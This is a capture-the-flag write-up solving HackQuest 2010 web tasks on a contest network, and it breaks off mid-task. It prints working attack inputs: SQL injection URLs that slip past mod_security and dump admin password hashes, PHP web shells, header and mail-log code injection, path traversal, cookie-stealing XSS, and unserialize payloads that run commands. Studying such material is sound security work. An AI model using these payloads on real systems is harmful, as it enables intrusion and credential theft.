Vladimir d0znp Vorontsov (&lt;a href="http://onsec.ru/"&gt;ONsec.RU&lt;/a&gt;); &lt;a href="http://oxod.ru/"&gt;http://oxod.ru/&lt;/a&gt;&lt;br /&gt;
Taras oxdef Ivashchenko (&lt;a href="http://www.yandex.ru/"&gt;Yandex&lt;/a&gt;);&lt;a href="http://blog.oxdef.info/"&gt; http://blog.oxdef.info/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Introduction&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
HackQuest 2010 is an open competition in the field of information security, the essence of which is to carry out a number of various tasks relating to information security: web hacking, social engineering, reverse engineering, etc. The contestants are given full scope for choosing the methods to cope with tasks. To capture one key (flag), it is necessary to exploit several vulnerabilities existing in real production system. Thus, the contestants can feel themselves to be real hackers :)&lt;br /&gt;
&lt;br /&gt;
The competition results showed that many tasks proved to be too intricate for most contestants. The materials given in this work represent a complete guide to solve most tasks of HackQuest 2010.&lt;br /&gt;
&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;Task #1: Classics&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Preliminary network scanning allows one to find a web site of the Chaos travel agency. In the search section of this site, an error message issued by MySQL database allows one to reveal an insert-based SQL Injection vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-cV__D26Bm9Y/TZZSeFxE3yI/AAAAAAAABLU/WsPoe5zWsbk/s1600/hq2010_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="231" src="http://2.bp.blogspot.com/-cV__D26Bm9Y/TZZSeFxE3yI/AAAAAAAABLU/WsPoe5zWsbk/s400/hq2010_1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
It should be mentioned that the site is protected with mod_security with standard rules. A vulnerable SQL query has the following form:&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
$query = "INSERT INTO indexes (text,source) value ('".$_GET['text']."',".$_GET['action'].")"; &lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
Thus, a query to conduct an attack can look as follows:&lt;br /&gt;
&lt;br /&gt;
http://172.16.0.2/search.php?action=0&amp;amp;text=1'/*!%2b(select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)*/,0)--+&lt;br /&gt;
&lt;br /&gt;
The query given above will display the identifier of the user whose account is used by the web application to interact with the database. How does it work?&lt;br /&gt;
&lt;br /&gt;
1. A construction /*!...sql-code…*/ is used that allows one to execute SQL code bypassing standard rules of all mod_security versions (including the latest versions, see &lt;a href="http://devteev.blogspot.com/2009/10/sql-injection-waf.html"&gt;http://devteev.blogspot.com/2009/10/sql-injection-waf.html&lt;/a&gt;).&lt;br /&gt;
&lt;br /&gt;
2. The symbol "+" (%2b) is used to work with strings (for details, see &lt;a href="https://rdot.org/forum/showthread.php?t=60"&gt;https://rdot.org/forum/showthread.php?t=60&lt;/a&gt;).&lt;br /&gt;
&lt;br /&gt;
3. A universal method to transfer useful data in an error message (see &lt;a href="http://qwazar.ru/?p=7"&gt;http://qwazar.ru/?p=7&lt;/a&gt;) is applied:&lt;br /&gt;
select 1 from(select count(*),concat((select user()),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a&lt;br /&gt;
&lt;br /&gt;
4. An SQL query is transformed into a syntactically valid expression by adding the construction ",0)"; the unnecessary part is cut off with two hyphens. To ensure that the end of the added query will be cut off at the web server, the spacing symbol "+" is used (in HTTP GET request, this symbol is equivalent to the space character).&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-4wmapUsnDXY/TZZS7hGNfpI/AAAAAAAABLY/t7-rLnHIN8U/s1600/hq2010_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="182" src="http://2.bp.blogspot.com/-4wmapUsnDXY/TZZS7hGNfpI/AAAAAAAABLY/t7-rLnHIN8U/s400/hq2010_2.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
It is required to obtain useful data from the database by developing the attack vector. For MySQL 5.x, it is rather simple, because in this version, there is a base information_schema that contains all necessary information about the DBMS structure. Thus, an attack using SQL Injection vulnerability comes to a standard set of queries.&lt;br /&gt;
&lt;br /&gt;
http://172.16.0.2/search.php?action=0&amp;amp;text=1'/*!%2b(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+where+table_schema!='information_schema'+and+table_schema!='mysql'+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)*/,0)--+&lt;br /&gt;
...&lt;br /&gt;
Output contains the "admins" table.&lt;br /&gt;
&lt;br /&gt;
http://172.16.0.2/search.php?action=0&amp;amp;text=1'/*!%2b(select+1+from(select+count(*),concat((select+column_name+from+information_schema.columns+where+table_name='admins'+limit+1,1),0x3a,floor(rand(0)*2))x+from+information_schema.columns+group+by+x)a)*/,0)--+&lt;br /&gt;
http://172.16.0.2/search.php?action=0&amp;amp;text=1'/*!%2b(select+1+from(select+count(*),concat((select+column_name+from+information_schema.columns+where+table_name='admins'+limit+2,1),0x3a,floor(rand(0)*2))x+from+information_schema.columns+group+by+x)a)*/,0)--+&lt;br /&gt;
Output contains the names of columns "login" and "password" from the table "admins".&lt;br /&gt;
&lt;br /&gt;
http://172.16.0.2/search.php?action=0&amp;amp;text=1'/*!%2b(select+1+from(select+count(*),concat((select+concat_ws(0x3a,login,password)+from+admins+limit+0,1),0x3a,floor(rand(0)*2))x+from+admins+group+by+x)a)*/,0)--+&lt;br /&gt;
Output contains data from the table "admins" (username and MD5 hash of password).&lt;br /&gt;
&lt;br /&gt;
After an MD5 hash is received, it is necessary to recover the password. The easiest way is to apply any free service of MD5 hash recovery using rainbow tables (e.g. &lt;a href="http://www.xmd5.org"&gt;http://www.xmd5.org&lt;/a&gt;).&lt;br /&gt;
&lt;br /&gt;
After a username and a password are obtained, it’s time to apply them to some interface:) One can find a suitable interface in the file robots.txt located in the web server root directory. After administration panel is accessed, an error message is displayed that allows one to detect a Remote File Including (RFI) vulnerability easily. Exploitation of such vulnerabilities is a rather trivial problem that comes to the necessity to force the target application to request a file from the attacker server. In this scenario, an attacker prepares a file containing PHP code. Here is an example of the simplest code that allows one to execute operating system commands: &amp;lt;?php passthru($_REQUEST['c']);?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-zuNGYh0Bl3o/TZZTdI3kRpI/AAAAAAAABLc/mcxpxo_U6Gk/s1600/hq2010_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="71" src="http://4.bp.blogspot.com/-zuNGYh0Bl3o/TZZTdI3kRpI/AAAAAAAABLc/mcxpxo_U6Gk/s400/hq2010_3.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
After attackers get an opportunity to execute OS commands, it is necessary to copy the private RSA key of one of system users. Using the received RSA key, it is possible to access the system via SSH and then access the long-expected flag.&lt;br /&gt;
&lt;br /&gt;
It is the sequence SQLi-&amp;gt;RFI-&amp;gt;RSA that gave the task its name "Classics".&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Task #2: Not Classic&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
At the stage of network analysis, a web application relating to SMS services can be found (similarly to the application in the previous task). A cursory analysis of this application allows one to detect a selection-based SQL Injection vulnerability in the PostgreSQL database:&lt;br /&gt;
&lt;br /&gt;
http://172.16.0.4/index.php?r=recovery&amp;amp;name=1&amp;amp;email=1&amp;amp;status=cast(version()+as+numeric)&lt;br /&gt;
&lt;br /&gt;
The given query will output the used database version in an error message. It works, because firstly, the application returns a DBMS error message to the user and secondly, the string data type is reduced to the numeric one. It is possible to recover the DBMS structure easily using the information_schema base (which is similar to MySQL 5.x).&lt;br /&gt;
&lt;br /&gt;
http://172.16.0.4/index.php?r=recovery&amp;amp;name=1&amp;amp;email=1&amp;amp;status=1;select(select+table_name+from+information_schema.tables+limit+1+offset+0)::text::int--&lt;br /&gt;
http://172.16.0.4/index.php?r=recovery&amp;amp;name=1&amp;amp;email=1&amp;amp;status=1;select(select+table_name+from+information_schema.tables+limit+1+offset+105)::text::int--&lt;br /&gt;
Output contains the "vsmsusers" table.&lt;br /&gt;
&lt;br /&gt;
http://172.16.0.4/index.php?r=recovery&amp;amp;name=1&amp;amp;email=1&amp;amp;status=1;select+(select+column_name+from+information_schema.columns+where+table_name=chr(118)||chr(115)||chr(109)||chr(115)||chr(117)||chr(115)||chr(101)||chr(114)||chr(115)+limit+1+offset+1)::text::int--&lt;br /&gt;
Output contains the names of columns "login" and "password" from the table "vsmsusers".&lt;br /&gt;
&lt;br /&gt;
Following a hint that there was the millionth user registered in the system who receives a special reward, it is necessary to access just this user’s account (it is notable that the contestants kept ignoring this hint and downloaded the whole table of users trying to create this trump millionth user). After the "lucky user" interface is accessed, one can notice another interface, which contains a File Including vulnerability (to be more precise, Local File Including/LFI). Exploitation of this vulnerability is complicated with the fact that length of incoming requests is verified; if it is not equal to 16 characters, then this request doesn’t get to the function include(). To execute OS commands, one should use the shortest PHP web shell (see &lt;a href="http://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/"&gt;http://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/&lt;/a&gt;):&lt;br /&gt;
&lt;br /&gt;
http://172.16.0.4/index.php?u=LV89284&amp;amp;p=data:,&amp;lt;?=@`$c`?&amp;gt;&amp;amp;c=ls&lt;br /&gt;
&lt;br /&gt;
The following considerations are taken into account:&lt;br /&gt;
1. Application of stream wrappers ("data" appeared in PHP version 5.2.0)&lt;br /&gt;
2. short_open_tag и register_globals in the state "ON"&lt;br /&gt;
3. &amp;lt;?= ?&amp;gt; is equivalent to &amp;lt;? echo ?&amp;gt;;&lt;br /&gt;
4. Application of back quotes is equivalent to application of shell_exec() &lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-XjyOnAUXUN8/TZZT1DYklmI/AAAAAAAABLg/H-ZIBvl74P4/s1600/hq2010_4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="71" src="http://4.bp.blogspot.com/-XjyOnAUXUN8/TZZT1DYklmI/AAAAAAAABLg/H-ZIBvl74P4/s400/hq2010_4.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
After attackers get an opportunity to execute commands on server, they should obtain the list of system users (/etc/passwd) and then match system user passwords by applying any tool of Telnet password cracker (e.g. THC-Hydra, Medusa, or ncrack). Brute force method allows one to reveal a user whose password is equal to his/her identifier. Access via Telnet with privileges of this user will allow attackers to obtain the next flag contents.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Task #3: Self-Written Web Server&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
A rather simple vulnerability can be found in the web server that the CrackMe task was implemented on. It was one of the easiest HackQuest 2010 tasks, which required revealing a path traversal vulnerability (web server root directory overrun). This vulnerability is easy to detect automatically using appropriate tools (that’s why the final results of on-line competition are so alerting, see &lt;a href="http://www.securitylab.ru/hq2010/list.php"&gt;http://www.securitylab.ru/hq2010/list.php&lt;/a&gt;). To exploit the vulnerability, it is sufficient to send a request of the following type to the web server: "GET /../../../root/.history HTTP/1.1". After receiving the history of commands entered by the administrator, attackers can easily get the next flag by applying special "console magic".&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-WA2ZdnZ1nXE/TZZT_-fWAVI/AAAAAAAABLk/t160PmrUvcs/s1600/hq2010_5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="358" src="http://3.bp.blogspot.com/-WA2ZdnZ1nXE/TZZT_-fWAVI/AAAAAAAABLk/t160PmrUvcs/s400/hq2010_5.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;b&gt;Task #4: Public Bulletin Board&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
In the game network, there is a web application that emulates operation of a public bulletin board. After gaining access to the application source code (for this purpose, it is necessary to refer to index.bak), attackers can restore the entire logic of application operation, which consists in the following scheme: if a user tries to send more than one message per minute, then his/her IP address is added to the black list (the file blacklist.php). A vulnerability is caused by the fact that the application checks the web server environment variable HTTP_X_FORWARDED_FOR; if this variable is set, then the contents of the browser header X-Forwarded-For instead of the IP address is added to the black list without any verification (this idea was borrowed from the CuteNews application).&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-nwZ4bGancYE/TZZUKOfBECI/AAAAAAAABLo/lspKtOY3HUw/s1600/hq2010_6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="101" src="http://1.bp.blogspot.com/-nwZ4bGancYE/TZZUKOfBECI/AAAAAAAABLo/lspKtOY3HUw/s400/hq2010_6.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Exploitation of this vulnerability comes to setting a string like given below as the X-Forwarded-For header: ';?&amp;gt;&amp;lt;?eval($_GET['cmd']);?&amp;gt;&amp;lt;?$a='. After attackers get an opportunity to execute commands on the server and read the history of commands entered by the administrator, they can find the cherished key.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Task #5: Cross-Site Scripting&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
When it comes to XSS attacks, most people usually remember ordinary reflected and stored XSS and only sometimes they think of so-called DOM-based XSS attacks (see &lt;a href="http://www.owasp.org/index.php/DOM_Based_XSS"&gt;http://www.owasp.org/index.php/DOM_Based_XSS&lt;/a&gt;). Meanwhile, the latter are known at least since 2005, when they were described in an article by Amit Klein (see &lt;a href="http://www.webappsec.org/projects/articles/071105.shtml"&gt;http://www.webappsec.org/projects/articles/071105.shtml&lt;/a&gt;). In short, this type of XSS attacks is based on the idea that input web application data is received and used for DOM modification on the side of a web browser in the JavaScript context. Thus, the HTTP response of the web server is not modified! A classic example of such vulnerability is given below:&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
Select your language:&lt;br /&gt;
&amp;lt;select&amp;gt;&amp;lt;script&amp;gt;&lt;br /&gt;
document.write("&amp;lt;OPTION value=1&amp;gt;"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"&amp;lt;/OPTION&amp;gt;");&lt;br /&gt;
document.write("&amp;lt;OPTION value=2&amp;gt;English&amp;lt;/OPTION&amp;gt;");&lt;br /&gt;
&amp;lt;/script&amp;gt;&amp;lt;/select&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
Vulnerability exploitation consists in transferring JavaScript payload in the default parameter as shown below:&lt;br /&gt;
&lt;br /&gt;
http://www.some.site/page.html#default=&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Everything would be easy and simple, but vendors of modern web browsers decided to secure their users. Therefore, address parameters are transferred to the JavaScript context in the URL-encrypted form, which adds problems to attackers and makes exploitation not that trivial. Unfortunately, this protection method is not sufficient, because there are various ways to use address parameters beside the one described above. Moreover, as web applications develop (more and more logic is moved to the web browser side) this type of Cross-Site Scripting is to be reborn. But let us return to the task. It was implemented as a clone of a popular microblogging service.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-XW1a8Ftb4Eo/TZZUVzo65BI/AAAAAAAABLs/egFrKYPbWs8/s1600/hq2010_7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="272" src="http://4.bp.blogspot.com/-XW1a8Ftb4Eo/TZZUVzo65BI/AAAAAAAABLs/egFrKYPbWs8/s400/hq2010_7.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Let’s open and analyze the HTML code of the main page. At the very end of the code text, one can notice a vulnerable code fragment with a visit counter:&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
document.write(unescape('%3Cimg%20src%3D%22/img/stat.png?site='+document.location.href+'%22%3E'));&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
Further actions are obvious: let’s hijack the service administrator session, which is to all appearance actively used by him/her. For this purpose:&lt;br /&gt;
&lt;br /&gt;
1. Register a new user.&lt;br /&gt;
2. Send a personal message containing a link with JavaScript payload to the administrator (e.g. sending cookies to a specially prepared sniffer).&lt;br /&gt;
3. The administrator clicks the links in messages with no doubt ;)&lt;br /&gt;
4. After hijacking the administrator session, one can find the next necessary key in personal messages.&lt;br /&gt;
5. Profit!!11&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Task #6: Hosting&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
When analyzing the game network, one can find a server that has the default page of Apache web server on the port 80 and serves as an SMTP and DNS server. To find out what sites are served by this web server, it is necessary to transfer the DNS zone. But what zone? Answer to this question can be obtained from the reverse DNS zone, which is also served by this server.&lt;br /&gt;
&lt;br /&gt;
Find out the DNS suffix used by the web server: dig @172.16.0.10 PTR 10.0.16.172.in-addr.arpa&lt;br /&gt;
Transfer the DNS zone: dig @172.16.0.10 cc10.site axfr&lt;br /&gt;
&lt;br /&gt;
Then, it is necessary to configure application of this DNS server (or write appropriate names to the file hosts). After a cursory glance at available sites, one can find a Local File Including vulnerability on the site of Vasily Pupkin. To exploit it and develop the attack, an SMTP daemon should be used as the transport to transfer useful payload (see &lt;a href="http://www.xakep.ru/post/49508/default.asp"&gt;http://www.xakep.ru/post/49508/default.asp&lt;/a&gt;). For example, it can be implemented in the following way:&lt;br /&gt;
&lt;br /&gt;
telnet 172.16.0.10 25&lt;br /&gt;
ehlo cc10.site&lt;br /&gt;
mail from:any@cc10.site&lt;br /&gt;
rcpt to:vasya&lt;br /&gt;
data&lt;br /&gt;
&amp;lt;?php passthru($_GET['cmd']);?&amp;gt;&lt;br /&gt;
.&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
After some voodoo manipulations with the SMTP daemon are performed, it becomes possible to execute operating system commands:&lt;br /&gt;
&lt;br /&gt;
http://vasya.cc10.site/index.php?file=/var/mail/vasya&amp;amp;cmd=ls -la /&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-HXiwzcS9n8A/TZZUkdUNn9I/AAAAAAAABLw/qlqu8QY2viU/s1600/hq2010_8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="185" src="http://1.bp.blogspot.com/-HXiwzcS9n8A/TZZUkdUNn9I/AAAAAAAABLw/qlqu8QY2viU/s400/hq2010_8.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
However, it is necessary to perform some more actions to obtain the flag after the server is accessed, because the Apache web server uses a module SuEXEC, which isolates access to adjacent server sites. To bypass the described restrictions, apply symbolic links (see &lt;a href="http://www.kernelpanik.org/docs/kernelpanik/suexec.en.pdf"&gt;http://www.kernelpanik.org/docs/kernelpanik/suexec.en.pdf&lt;/a&gt;). It is possible just because the directive AllowOverride All is used in the web server configuration.&lt;br /&gt;
&lt;br /&gt;
Further attack process comes to performing the following queries:&lt;br /&gt;
&lt;br /&gt;
1. Enable application of symbolic links by redefining the settings of vasya.cc10.site site directory&lt;br /&gt;
echo Options +FollowSymLinks &amp;gt; /usr/local/www/data/vasya/.htaccess&lt;br /&gt;
&lt;br /&gt;
2. Access the directory of the site containing the game flag&lt;br /&gt;
ln -s /usr/local/www/data/root/.htaccess /usr/local/www/data/vasya/test.txt&lt;br /&gt;
&lt;br /&gt;
3. Access the file containing data to be authenticated on the site r00t.cc10.site&lt;br /&gt;
ln -s /usr/local/www/data/root/.htpasswd_new /usr/local/www/data/vasya/passwd.txt&lt;br /&gt;
&lt;br /&gt;
4. Decrypt the obtained MD5 hash (e.g. using PasswordsPro or John the Ripper)&lt;br /&gt;
5. Access the contents of the site r00t.cc10.site and obtain the next game key.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-k83xKissV4I/TZZUye5iX1I/AAAAAAAABL0/NywhMmwfQxE/s1600/hq2010_9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="87" src="http://3.bp.blogspot.com/-k83xKissV4I/TZZUye5iX1I/AAAAAAAABL0/NywhMmwfQxE/s400/hq2010_9.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;b&gt;Task #7: Turbid Web&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
In the game network, one can find a web application that requires user authentication, but seems to contain no vulnerabilities at the first sight. The complexity of the first stage of this task consists in searching for parameters incoming to the application and hidden behind Mod_rewrite. It should not cause any difficulties for jedis who have read the publication "Fuzzing the sites protected with mod_rewrite" (see &lt;a href="http://www.securitylab.ru/analytics/399778.php"&gt;http://www.securitylab.ru/analytics/399778.php&lt;/a&gt;). By applying the scenario of parameter search proposed in this article (&lt;a href="http://www.ptsecurity.ru/download/modrewrite_search.zip"&gt;http://www.ptsecurity.ru/download/modrewrite_search.zip&lt;/a&gt;), one can restore the real structure of the web application in a matter of seconds.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-6dmpoVRFqwQ/TZZU8iQAS1I/AAAAAAAABL4/ts2wZDoDWe0/s1600/hq2010_10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="160" src="http://4.bp.blogspot.com/-6dmpoVRFqwQ/TZZU8iQAS1I/AAAAAAAABL4/ts2wZDoDWe0/s400/hq2010_10.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
The matched parameter "pag" is vulnerable to classic Blind SQL Injection. Some complications can arise only to those contestants who use Mozilla Firefox 3.x (as is), because the transferred data is converted to URL-encoded equivalents in this browser branch.&lt;br /&gt;
&lt;br /&gt;
It should be also mentioned that it is necessary to match the names of DBMS table columns to conduct a Blind SQL Injection attack (the reason is that there is no information_schema base in MySQL 4.x). Eventually, the contestants can receive a system user identifier and MD5 password hash, which is easy to recover by applying rainbow tables.&lt;br /&gt;
&lt;br /&gt;
Thus, access to the application interface includes access to the application backup. Consequently, web application analysis turns from black box into grey box at this stage.&lt;br /&gt;
At this stage, an intent contestant will pay attention to the following construction:&lt;br /&gt;
&lt;br /&gt;
RewriteRule ^([0-9]*)\.php ./index.php?pag=$1 [L,QSA]&lt;br /&gt;
&lt;br /&gt;
in the file .htaccess. If one remembers HTTP Parameter Pollution (see &lt;a href="http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf"&gt;http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf&lt;/a&gt;), then he/she will be able to access the game key using the following query:&lt;br /&gt;
&lt;br /&gt;
http://172.16.0.6/1/?access=admin&lt;br /&gt;
&lt;br /&gt;
Moreover, this story can be continued. When analyzing the web application source code, it is necessary to pay attention to the following fragment:&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
echo $pages['adminka'];&lt;br /&gt;
$sessid = unserialize($_COOKIE['admin_id']);&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
function __destruct(){echo $this-&amp;gt;shutdown;&lt;br /&gt;
if (!empty($this-&amp;gt;shutdown)){&lt;br /&gt;
$var = $this-&amp;gt;shutdown[0];&lt;br /&gt;
$arg = $this-&amp;gt;shutdown[1];&lt;br /&gt;
$var($arg);&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
Does it resemble you something? But it is an actual backdoor using serialization! To be able to understand the essence of what follows, it is recommended to view the materials of publications &lt;a href="http://www.xakep.ru/magazine/xa/133/048/1.asp"&gt;http://www.xakep.ru/magazine/xa/133/048/1.asp&lt;/a&gt;, &lt;a href="http://www.slideshare.net/i0n1c/syscan-singapore-2010-returning-into-the-phpinterpreter"&gt;http://www.slideshare.net/i0n1c/syscan-singapore-2010-returning-into-the-phpinterpreter&lt;/a&gt; and &lt;a href="http://oxod.ru/?p=244"&gt;http://oxod.ru/?p=244&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
In our task, if the cookie variable named "admin_id" contains the following line:&lt;br /&gt;
&lt;br /&gt;
O:8:"Database":1:{s:8:"shutdown"%3Ba:2:{i:0%3Bs:7:"phpinfo"%3Bi:1%3Bs:2:"-1"%3B}}&lt;br /&gt;
&lt;br /&gt;
then the function phpinfo() will be executed. Attack development allows one to execute commands on the server, for example:&lt;br /&gt;
&lt;br /&gt;
O:8:"Database":1:{s:8:"shutdown"%3Ba:2:{i:0%3Bs:8:"passthru"%3Bi:1%3Bs:8:"ls -la /"%3B}}&lt;br /&gt;
&lt;br /&gt;
After that, it is easy to find the next game flag following the intuition.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Task #8: Positive PDF&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
One of the HackQuest 2010 tasks invites contestants to analyze a positive PDF file that refers to the web application using built-in encryption algorithms. Special markers indicate that a flash object is embedded into the PDF file.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-p4KCoOyKb0o/TZZVLMQBo6I/AAAAAAAABL8/huB5azou8YU/s1600/hq2010_11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="91" src="http://1.bp.blogspot.com/-p4KCoOyKb0o/TZZVLMQBo6I/AAAAAAAABL8/huB5azou8YU/s400/hq2010_11.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Then, one can notice a special marker and conclude that a SWF object is embedded into the PDF file using ZLIB compression and therefore the pure SWF file can be obtained, for example, using Python library zlib.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-ujxLG0YGbrg/TZZVUKrmR4I/AAAAAAAABMA/AGl-XAUSgUg/s1600/hq2010_12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="158" src="http://1.bp.blogspot.com/-ujxLG0YGbrg/TZZVUKrmR4I/AAAAAAAABMA/AGl-XAUSgUg/s400/hq2010_12.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
The next stage is to recover the algorithm of generating a request to the web application on the basis of the received SWF file. For this purpose, one can apply the utility swfdump from the packet swftools. Special attention should be paid to the function Obfuscate; it is this function that is used to generate a request to the server.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-uabfsKg_JIw/TZZVcutGGhI/AAAAAAAABME/Ef2W94qkj0I/s1600/hq2010_13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="123" src="http://3.bp.blogspot.com/-uabfsKg_JIw/TZZVcutGGhI/AAAAAAAABME/Ef2W94qkj0I/s400/hq2010_13.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
The key that is used for encryption can be restored from the following code fragment:&lt;br /&gt;
&lt;br /&gt;
00016) + 0:0 getlocal_0&lt;br /&gt;
00017) + 1:0 pushint 170&lt;br /&gt;
00018) + 2:0 pushint 42&lt;br /&gt;
00019) + 3:0 pushint 52&lt;br /&gt;
00020) + 4:0 pushint 120&lt;br /&gt;
00021) + 5:0 pushint 178&lt;br /&gt;
00022) + 6:0 pushint 249&lt;br /&gt;
00023) + 7:0 pushint 255&lt;br /&gt;
00024) + 8:0 pushint 228&lt;br /&gt;
00025) + 9:0 pushint 80&lt;br /&gt;
00026) + 10:0 pushint 32&lt;br /&gt;
&lt;br /&gt;
When the encryption key and algorithm are known, then it is possible to generate arbitrary requests to the web application. To gain the next game flag, it is necessary to generate a request to the web application using elementary method of SQL Injection vulnerability exploitation.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Task #9: Creative PDF&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
On the basis of the much-talked-of incident described in the Full-Disclosure:&lt;br /&gt;
&lt;a href="http://seclists.org/fulldisclosure/2009/Nov/240"&gt;http://seclists.org/fulldisclosure/2009/Nov/240&lt;/a&gt;,&lt;br /&gt;
we developed an idea to locate a PDF document with a direct path to the game flag contained in its meta-data somewhere in the game network.&lt;br /&gt;
&lt;br /&gt;
When implementing this task, everything was naturally performed just as an experienced secretary would do:&lt;br /&gt;
&lt;br /&gt;
1. A trial version of Adobe Livecycle Designer was downloaded.&lt;br /&gt;
2. A directory D:\CC10\flag\CC10_ABCDEFGHIJKLMNOLP was created.&lt;br /&gt;
